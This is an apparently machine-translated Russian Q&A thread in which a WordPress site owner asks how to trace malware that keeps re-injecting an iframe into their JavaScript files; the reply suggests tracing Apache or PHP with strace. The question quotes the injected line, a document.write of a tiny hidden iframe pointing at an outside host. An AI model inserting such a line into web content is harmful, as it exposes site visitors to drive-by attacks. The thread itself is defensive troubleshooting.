Возможный дубликат:
Мой сервер был взломан в АВАРИИ
Мой сервер недавно подвергся атаке вредоносного ПО. С тех пор я немного почистил сервер, обновил множество установочных файлов wordpress и файлов timthumb, а также удалил множество старых и заархивированных каталогов. Мой хост (dreamhost) соглашается, что все большие широко открытые зияющие уязвимости закрыты.
Теперь мне просто нужно найти источник вредоносного ПО. Где-то на моем сервере скрипт добавляет вставку iframe во все мои файлы javascript. Это происходит каждые несколько минут. Вот пример инъекции, хотя иногда он меняется:
document.write('<iframe src="http://wbjsb.myddns.com/valcunatrop.cgi?6" scrolling="auto" frameborder="no" align="center" height="11" width="11"></iframe>');
Если я удалю это, он вернется примерно через 5 минут.
Есть какие-нибудь мысли о том, как найти сценарий, который вносит эти изменения? Спасибо!
Если вредоносная программа представляет собой сценарий, который на самом деле выполняется веб-сервером, вы можете попытаться использовать strace
чтобы увидеть, какие файлы открываются и / или записываются интерпретатором процесса / сценария веб-сервера на основе выполняемых системных вызовов. Это немного низкоуровнево, но работает. (Это зависит от используемого сервера, языка сценариев и модели разветвления). Вероятно, вы захотите использовать strace в интерпретаторе скриптов (используя, например, php, например php5-fpm
если это PHP FPM, apache2
при использовании mod_php5) и может видеть, какие файлы открываются, например для apache2 с mod_php5:
sudo strace -f -e open,close,read,write apache2 -k start | tee /tmp/strace.log
или что-то в этом роде, и изучите журнал. (-f
заставляет strace следовать за вилками, если ваш Apache использует prefork MPM; обычно по умолчанию для установки mod_php5, -e open
ограничивает вывод только open(2)
syscall и друзья). Очевидно, это покажет вам каждый файл, который открывает сервер / PHP, но вы можете сделать некоторые grep
магия, чтобы попытаться сузить круг вопросов.
Вероятно, вы могли бы сузить круг вопросов, write(2)
системный вызов, который также происходит с grep (используйте -v
опция strace, чтобы избежать усечения строк, которые отправляются на write(2)
).